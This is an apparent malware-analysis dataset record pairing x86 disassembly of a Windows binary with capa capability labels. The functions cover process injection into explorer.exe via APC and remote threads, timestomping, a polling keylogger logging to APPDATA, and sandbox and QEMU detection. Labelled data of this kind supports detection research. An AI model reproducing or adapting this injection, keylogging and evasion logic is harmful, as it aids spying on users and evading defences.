joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4044d9
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Inject apc
Resume thread
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
call fcn.004042fd
mov edi, eax
mov eax, dword [edi + 0x3c]
mov ebx, dword [edi + eax + 0x50]
xor esi, esi
push esi
push ebx
push esi
push 0x40
push esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push esi
push esi
push esi
push 2
push eax
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 8], eax
cmp eax, esi
jne 0x40451d
xor al, al
jmp 0x4045cd
push ebx
push edi
push eax
call dword [sym.imp.MSVCRT.dll_memcpy]
add esp, 0xc
push str.ZwMapViewOfSection
push str.ntdll
mov dword [ebp - 0x10], esi
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40
push esi
push 1
lea ecx, [ebp - 0x10]
push ecx
push esi
push ebx
push esi
lea ecx, [ebp - 4]
push ecx
push dword [ebp + 8]
mov dword [0x40a4d0], eax
push dword [ebp - 0xc]
call eax
test eax, eax
jne 0x4045b9
mov eax, dword [edi + 0x3c]
push dword [eax + edi + 0xa4]
mov ecx, dword [ebp - 4]
mov eax, dword [eax + edi + 0xa0]
sub ecx, edi
push ecx
push dword [ebp - 8]
add eax, edi
push eax
call fcn.00404399
mov eax, dword [ebp - 4]
add esp, 0x10
push esi
push esi
sub eax, edi
push esi
add eax, 0x405512
push eax
push dword [ebp + 0xc]
call dword [sym.imp.ntdll.dll_NtQueueApcThread]
push esi
push dword [ebp + 0xc]
test eax, eax
jne 0x4045b3
call dword [sym.imp.ntdll.dll_NtResumeThread]
jmp 0x4045b9
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4045d2
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push esi
push edi
push 0x65
pop eax
push 0x78
mov ecx, eax
mov word [ebp - 0x24], cx
pop ecx
push 0x70
mov word [ebp - 0x22], cx
pop ecx
push 0x6c
mov word [ebp - 0x20], cx
pop ecx
push 0x6f
mov word [ebp - 0x1e], cx
pop ecx
push 0x72
mov word [ebp - 0x1c], cx
pop ecx
mov word [ebp - 0x1a], cx
push 0x72
mov ecx, eax
mov word [ebp - 0x18], cx
pop ecx
push 0x2e
mov word [ebp - 0x16], cx
pop ecx
mov word [ebp - 0x14], cx
mov ecx, eax
push 0x78
mov word [ebp - 0x12], cx
pop ecx
mov word [ebp - 0xe], ax
xor eax, eax
mov esi, 0x200
push esi
mov word [ebp - 0x10], cx
mov word [ebp - 0xc], ax
call fcn.00405428
mov edi, eax
pop ecx
test edi, edi
jne 0x404647
xor al, al
jmp 0x404691
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x408310
push edi
call esi
lea eax, [ebp - 0x24]
push eax
push edi
call esi
and dword [ebp - 4], 0
and dword [ebp - 8], 0
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push edi
call fcn.0040432b
add esp, 0xc
test al, al
je 0x404691
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 8]
mov dword [edx], ecx
mov ecx, dword [ebp - 8]
mov edx, dword [ebp + 0xc]
mov dword [edx], ecx
pop edi
pop esi
leave
ret
Function at 0x404695
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push esi
push edi
push 0x65
pop eax
push 0x78
mov ecx, eax
mov word [ebp - 0x24], cx
pop ecx
push 0x70
mov word [ebp - 0x22], cx
pop ecx
push 0x6c
mov word [ebp - 0x20], cx
pop ecx
push 0x6f
mov word [ebp - 0x1e], cx
pop ecx
push 0x72
mov word [ebp - 0x1c], cx
pop ecx
mov word [ebp - 0x1a], cx
push 0x72
mov ecx, eax
mov word [ebp - 0x18], cx
pop ecx
push 0x2e
mov word [ebp - 0x16], cx
pop ecx
mov word [ebp - 0x14], cx
mov ecx, eax
push 0x78
mov word [ebp - 0x12], cx
pop ecx
mov word [ebp - 0xe], ax
xor eax, eax
mov esi, 0x200
push esi
mov word [ebp - 0x10], cx
mov word [ebp - 0xc], ax
call fcn.00405428
mov edi, eax
pop ecx
test edi, edi
jne 0x40470a
xor al, al
jmp 0x404754
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x408314
push edi
call esi
lea eax, [ebp - 0x24]
push eax
push edi
call esi
and dword [ebp - 4], 0
and dword [ebp - 8], 0
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push edi
call fcn.0040432b
add esp, 0xc
test al, al
je 0x404754
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 8]
mov dword [edx], ecx
mov ecx, dword [ebp - 8]
mov edx, dword [ebp + 0xc]
mov dword [edx], ecx
pop edi
pop esi
leave
ret

Function at 0x404758
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
and dword [ebp - 8], 0
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
push eax
call fcn.004045d2
pop ecx
pop ecx
test al, al
je 0x404798
push dword [ebp - 4]
push dword [ebp - 8]
call fcn.004044d9
pop ecx
pop ecx
test al, al
je 0x40478d
mov al, 1
leave
ret
push 0
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
xor al, al
leave
ret

Function at 0x40479c
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
and dword [ebp - 8], 0
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
push eax
call fcn.00404695
pop ecx
pop ecx
test al, al
je 0x4047dc
push dword [ebp - 4]
push dword [ebp - 8]
call fcn.004044d9
pop ecx
pop ecx
test al, al
je 0x4047d1
mov al, 1
leave
ret
push 0
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
xor al, al
leave
ret
Function at 0x4047e0
Capabilities:
Contain obfuscated stackstrings
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push ebx
push edi
lea eax, [ebp - 8]
push eax
xor ebx, ebx
push ebx
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 8], ebx
mov dword [ebp - 0x20], 0x6c656853
mov dword [ebp - 0x1c], 0x72545f6c
mov dword [ebp - 0x18], 0x6e577961
mov word [ebp - 0x14], 0x64
call dword [sym.imp.USER32.dll_FindWindowA]
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov ecx, dword [ebp - 8]
cmp ecx, ebx
jne 0x404829
xor al, al
jmp 0x404886
xor eax, eax
mov dword [ebp - 0x38], 0x18
lea edi, [ebp - 0x34]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x38]
push eax
push 0x2a
lea eax, [ebp - 4]
push eax
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], ebx
call dword [sym.imp.ntdll.dll_NtOpenProcess]
test eax, eax
jne 0x404825
push dword [ebp - 4]
call fcn.004043fb
pop ecx
cmp eax, 0xffffffff
je 0x40487b
push ebx
push ebx
push ebx
push eax
push ebx
push ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
je 0x40487b
mov bl, 1
push dword [ebp - 4]
call dword [sym.imp.ntdll.dll_NtClose]
mov al, bl
pop edi
pop ebx
leave
ret

Function at 0x40488a
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x458
push ebx
push esi
push edi
push 0x103
xor ebx, ebx
lea eax, [ebp - 0x113]
push ebx
push eax
mov byte [ebp - 0x114], 0
call sub.MSVCRT.dll_memset
push 0x1ff
lea eax, [ebp - 0x313]
push ebx
push eax
mov byte [ebp - 0x314], bl
call sub.MSVCRT.dll_memset
push dword [ebp + 8]
lea eax, [ebp - 0x114]
push str._s.exe
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x24
lea eax, [ebp - 0x454]
push eax
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0xc], eax
mov esi, 0x408338
lea ecx, [ebp - 0x314]
call fcn.00405d8d
lea edi, [ebp + eax - 0x314]
lea ecx, [ebp - 0x428]
call fcn.00405d9f
lea ecx, [ebp - 0x314]
call fcn.00405d8d
lea edi, [ebp + eax - 0x314]
mov ecx, esi
call fcn.00405d9f
lea eax, [ebp - 0x454]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4048fd
lea eax, [ebp - 0x314]
push esi
mov dword [ebp - 8], ebx
mov ebx, dword [sym.imp.MSVCRT.dll_strtok]
push eax
call ebx
pop ecx
pop ecx
test eax, eax
je 0x40497d
mov edi, 0x40a730
mov ecx, eax
call fcn.00405d9f
push esi
push 0
call ebx
inc dword [ebp - 8]
pop ecx
add edi, 0x64
pop ecx
test eax, eax
jne 0x404965
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 8]
xor ecx, ecx
call fcn.00402a02
imul eax, eax, 0x64
pop edi
pop esi
add eax, 0x40a730
pop ebx
leave
ret
Function at 0x40499d
Capabilities:
Get common file path
Set file attributes
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea ecx, [ebp - 0x124]
call fcn.00405d8d
lea edi, [ebp + eax - 0x124]
mov ecx, str.explorer.exe
call fcn.00405d9f
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
mov edi, 0x80
push edi
push 3
push 0
push 1
push closesocket
lea eax, [ebp - 0x124]
push eax
call esi
mov ebx, eax
cmp ebx, 0xffffffff
je 0x404a57
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x14]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
push 0
push edi
push 3
push 0
push 2
push 0x40000000
push dword [ebp + 8]
call esi
mov esi, eax
cmp esi, 0xffffffff
je 0x404a4c
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x14]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call ebx
push 6
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x404c49
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
push 0xfe
lea eax, [ebp - 0xff]
push 0
push eax
mov byte [ebp - 0x100], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0xff
lea ecx, [ebp - 0x100]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x404cd9
movsx eax, byte [ebp - 0x100]
push edi
mov edi, dword [sym.imp.MSVCRT.dll_tolower]
push eax
call edi
pop ecx
mov byte [ebp - 0x100], al
test al, al
je 0x404cbe
push esi
lea esi, [ebp - 0x100]
inc esi
movsx eax, byte [esi]
push eax
call edi
pop ecx
mov byte [esi], al
test al, al
jne 0x404caf
pop esi
push dword [ebp + 8]
lea eax, [ebp - 0x100]
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
pop ecx
pop edi
test eax, eax
je 0x404cd9
mov al, 1
leave
ret
xor al, al
leave
ret
Function at 0x404cdd
Capabilities:
Get graphical window text
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
push ebx
push esi
push edi
push 6
pop ecx
xor eax, eax
push 0xff
lea edi, [ebp - 0x23]
push eax
mov byte [ebp - 0x24], 0
rep stosd dword es:[edi], eax
mov byte [ebp - 0x224], al
lea eax, [ebp - 0x223]
push eax
call sub.MSVCRT.dll_memset
mov esi, dword [sym.imp.MSVCRT.dll_fopen]
add esp, 0xc
mov edi, 0x40a520
jmp 0x404ee9
mov dword [ebp - 4], 8
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x7fff
test cx, ax
je 0x404ed1
cmp dword [0x40a624], 0
jne 0x404db2
push 0xfe
lea eax, [ebp - 0x123]
push 0
push eax
mov byte [ebp - 0x124], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0xff
lea ecx, [ebp - 0x124]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x404d8c
lea eax, [ebp - 0x124]
push eax
jmp 0x404d8f
push dword [ebp + 8]
lea eax, [ebp - 0x224]
push str.____s__Start_time__
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 1
call fcn.0040508c
inc dword [0x40a624]
pop ecx
mov ebx, dword [sym.imp.USER32.dll_GetKeyState]
push 0xa1
call ebx
push 0xa0
mov word [ebp - 6], ax
call ebx
mov cx, word [ebp - 6]
or cx, ax
mov eax, 0x8000
push 0x14
test ax, cx
je 0x404de8
call ebx
neg ax
sbb al, al
inc al
jmp 0x404df4
call dword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
setne al
mov ecx, dword [ebp - 4]
lea edx, [ecx - 0x30]
cmp edx, 0x2a
ja 0x404e48
push ecx
test al, al
jne 0x404e33
call fcn.00404efc
cwde
push eax
call dword [sym.imp.MSVCRT.dll_tolower]
push 0x40836c
push edi
mov bl, al
call esi
add esp, 0x10
test eax, eax
je 0x404ed1
push eax
mov al, bl
call fcn.00405067
jmp 0x404ed0
call fcn.00404efc
mov dword [esp], 0x40836c
push edi
mov bl, al
call esi
pop ecx
pop ecx
jmp 0x404e1e
cmp ecx, 8
je 0x404ec9
cmp ecx, 0xd
je 0x404ec9
cmp ecx, 0x10
je 0x404ed1
cmp ecx, 0x14
je 0x404ed1
cmp ecx, 0x20
je 0x404ec9
cmp ecx, 0x9f
jle 0x404e71
cmp ecx, 0xa1
jle 0x404ed1
push 0x19
lea eax, [ebp - 0x24]
push eax
push 0
push ecx
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
shl eax, 0x10
push eax
call dword [sym.imp.USER32.dll_GetKeyNameTextA]
lea ecx, [ebp - 0x24]
call fcn.00405d8d
cmp eax, 2
jl 0x404ec9
mov ebx, 0x40836c
push ebx
push edi
call esi
pop ecx
pop ecx
test eax, eax
je 0x404eaf
push eax
mov al, 0x3c
call fcn.00405067
pop ecx
push 0
call fcn.0040508c
push ebx
push edi
call esi
add esp, 0xc
test eax, eax
je 0x404ed1
push eax
mov al, 0x3e
jmp 0x404e29
push 0
call fcn.0040508c
pop ecx
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x100
jle 0x404d29
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [ebp + 8]
call fcn.00404c49
pop ecx
test al, al
jne 0x404d22
jmp 0x404ee1
Function at 0x404efc
Capabilities:
Get keyboard layout
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push esi
push edi
xor esi, esi
push esi
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
mov edi, eax
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardState]
push edi
push esi
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x104]
push eax
push esi
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
push eax
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_ToAsciiEx]
cmp eax, 1
jne 0x404f71
mov esi, dword [sym.imp.USER32.dll_GetKeyState]
push 0x11
call esi
test ax, ax
js 0x404f71
push 0x12
call esi
test ax, ax
js 0x404f71
mov ax, word [ebp - 4]
jmp 0x404f74
or eax, 0xffffffff
pop edi
pop esi
leave
ret

Function at 0x404f78
Capabilities:
Create directory
Get hostname
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
push esi
push edi
mov edi, 0x104
push edi
push 0
mov esi, 0x40a520
push esi
call sub.MSVCRT.dll_memset
add esp, 0xc
push edi
push esi
push str._APPDATA_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push 0x7f
lea eax, [ebp - 0x83]
push 0
push eax
mov dword [ebp - 4], 0x80
mov byte [ebp - 0x84], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x84]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov ecx, esi
call fcn.00405d8d
mov ebx, 0x407c34
lea edi, [esi + eax]
mov ecx, ebx
call fcn.00405d9f
mov ecx, esi
call fcn.00405d8d
lea edi, [esi + eax]
lea ecx, [ebp - 0x84]
call fcn.00405d9f
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0x7f
lea eax, [ebp - 0x103]
push 0
push eax
mov byte [ebp - 0x104], 0
call sub.MSVCRT.dll_memset
push dword [ebp - 4]
lea eax, [ebp - 0x84]
push eax
lea eax, [ebp - 0x104]
call fcn.00405e10
add esp, 0x14
mov ecx, esi
call fcn.00405d8d
lea edi, [esi + eax]
mov ecx, ebx
call fcn.00405d9f
mov ecx, esi
call fcn.00405d8d
lea edi, [esi + eax]
lea ecx, [ebp - 0x104]
call fcn.00405d9f
pop edi
pop esi
pop ebx
leave
ret
Function at 0x405117
Capabilities:
Check if file exists
Delete file
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
and dword [0x40a624], 0
push ebx
push esi
push edi
call fcn.00404f78
mov esi, 0x40a520
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x4051d2
mov edi, 0x104
push edi
call fcn.00405428
mov dword [esp], str._logs1
push dword [ebp + 0x10]
mov ebx, eax
push dword [ebp + 0xc]
push str._s_s_s
push ebx
call dword [sym.imp.USER32.dll_wsprintfA]
push edi
call fcn.00405428
push edi
mov dword [ebp - 4], eax
call fcn.00405428
add esp, 0x1c
mov ecx, esi
mov dword [ebp - 8], eax
call fcn.00405d8d
lea edi, [esi + eax]
jmp 0x405188
dec edi
cmp byte [edi], 0x5c
jne 0x405187
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push ebx
inc edi
call fcn.00402782
push esi
push edi
push dword [ebp - 8]
push dword [ebp - 4]
call fcn.0040351c
add esp, 0x1c
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push ebx
call fcn.00405460
push dword [ebp - 4]
call fcn.00405460
push dword [ebp - 8]
call fcn.00405460
push edi
call fcn.00405460
add esp, 0x10
push dword [ebp + 8]
call fcn.00404cdd
int3
Function at 0x4055b8
Capabilities:
Check mutex on windows
Get routing table
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x83c
push ebx
push esi
push edi
push 0x4054fc
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
push 0x40550a
mov esi, 0x2710
push esi
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_SetTimer]
push esi
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.n3nmtx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
je 0x405636
mov edi, dword [sym.imp.WS2_32.dll_WSAStartup]
lea eax, [esp + 0x120]
push eax
push 0x202
call edi
test eax, eax
je 0x405641
lea eax, [esp + 0x120]
push eax
push 0x101
call edi
test eax, eax
je 0x405641
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10
call fcn.00406c27
push ebx
lea eax, [esp + 0x14]
push eax
push ebx
mov byte [esp + 0x1b], bl
mov dword [esp + 0x1c], ebx
call dword [sym.imp.IPHLPAPI.DLL_GetIpForwardTable]
cmp eax, 0x7a
jne 0x4056aa
push dword [esp + 0x10]
call dword [sym.imp.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_]
pop ecx
mov edi, eax
push ebx
lea eax, [esp + 0x14]
push eax
push edi
call dword [sym.imp.IPHLPAPI.DLL_GetIpForwardTable]
test eax, eax
jne 0x40569c
mov ecx, dword [edi]
xor edx, edx
cmp ecx, ebx
jbe 0x40569c
lea eax, [edi + 4]
cmp dword [eax], ebx
je 0x405697
inc edx
add eax, 0x38
cmp edx, ecx
jb 0x405689
jmp 0x40569c
mov byte [esp + 0xf], 1
push edi
call dword [sym.imp.MSVCRT.dll_void___cdecl_operator_delete_void__]
pop ecx
cmp byte [esp + 0xf], bl
jne 0x4056b3
push esi
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x405646
push 0x7f
lea eax, [esp + 0x2b5]
push ebx
push eax
mov byte [esp + 0x2bc], bl
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x518
lea eax, [esp + 0x334]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [esp + 0x2b0]
call fcn.0040371e
push 0x103
lea eax, [esp + 0x1d]
push ebx
push eax
mov byte [esp + 0x24], bl
call sub.MSVCRT.dll_memset
add esp, 0xc
mov esi, 0x104
push esi
lea eax, [esp + 0x1c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push esi
call fcn.00405428
pop ecx
push dword [esp + 0x842]
lea eax, [esp + 0x1c]
push eax
call fcn.00404a5c
mov ecx, eax
mov edi, 0x40a628
call fcn.00405d9f
lea eax, [esp + 0x20]
push eax
call fcn.00406c27
add esp, 0xc
call fcn.00402740
test al, al
je 0x405759
call fcn.0040479c
jmp 0x405767
call fcn.00404758
test al, al
jne 0x405767
call fcn.004047e0
mov edi, dword [sym.imp.MSVCRT.dll_clock]
call fcn.004060af
mov esi, eax
imul esi, esi, 0xea60
call edi
push ebx
push ebx
mov dword [esp + 0x1c], eax
lea eax, [esp + 0x2b8]
push eax
push 0x402bd7
push ebx
push ebx
call dword [sym.imp.MSVCRT.dll__beginthreadex]
add esp, 0x18
push esi
push eax
mov dword [esp + 0x18], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
sub eax, dword [esp + 0x14]
cmp eax, esi
jge 0x40576d
sub esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40576d
Function at 0x4057c5
Capabilities:
Check for sandbox username or hostname
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xcc
push esi
push edi
push 0xc7
lea eax, [ebp - 0xcb]
push 0
push eax
mov byte [ebp - 0xcc], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0xcc]
push eax
mov dword [ebp - 4], 0xc8
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea ecx, [ebp - 0xcc]
xor edi, edi
call fcn.00405d8d
test eax, eax
jle 0x40583a
lea esi, [ebp + edi - 0xcc]
movsx eax, byte [esi]
push eax
call dword [sym.imp.MSVCRT.dll_toupper]
pop ecx
lea ecx, [ebp - 0xcc]
mov byte [esi], al
inc edi
call fcn.00405d8d
cmp edi, eax
jl 0x405816
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
lea eax, [ebp - 0xcc]
push str.SANDBOX
push eax
call esi
pop ecx
pop ecx
test eax, eax
je 0x405858
xor eax, eax
jmp 0x405881
lea eax, [ebp - 0xcc]
push 0x40841c
push eax
call esi
pop ecx
pop ecx
test eax, eax
jne 0x405854
lea eax, [ebp - 0xcc]
push str.MALWARE
push eax
call esi
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
pop edi
pop esi
leave
ret

Function at 0x405941
Capabilities:
Get disk size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
xor esi, esi
push esi
push esi
push 3
push esi
push 1
push closesocket
push str..PhysicalDrive0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x405977
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
inc eax
pop edi
pop esi
leave
ret
push ebx
push esi
lea eax, [ebp - 4]
push eax
push 8
lea eax, [ebp - 0xc]
push eax
push esi
push esi
push 0x7405c
push edi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, esi
pop ebx
je 0x405970
push esi
push 0x40000000
push dword [ebp - 8]
push dword [ebp - 0xc]
call fcn.00406c50
cmp edx, esi
jg 0x405970
jl 0x4059bb
cmp eax, 0xa
ja 0x405970
xor eax, eax
jmp 0x405973

Function at 0x4059bf
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
push edi
lea eax, [ebp - 4]
push eax
push 0x20019
xor edi, edi
push edi
push str.HARDWAREDEVICEMAPScsiScsi_Port_0Scsi_Bus_0Target_Id_0Logical_Unit_Id_0
push closesocket
mov dword [ebp - 8], 0x400
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x405a5f
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x408]
push eax
push edi
push edi
push str.Identifier
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x405a5f
lea ecx, [ebp - 0x408]
call fcn.00405d8d
test eax, eax
jle 0x405a44
push esi
lea esi, [ebp + edi - 0x408]
movsx eax, byte [esi]
push eax
call dword [sym.imp.MSVCRT.dll_toupper]
pop ecx
lea ecx, [ebp - 0x408]
mov byte [esi], al
inc edi
call fcn.00405d8d
cmp edi, eax
jl 0x405a1f
pop esi
lea eax, [ebp - 0x408]
push str.QEMU
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp 0x405a62
xor eax, eax
inc eax
pop edi
leave
ret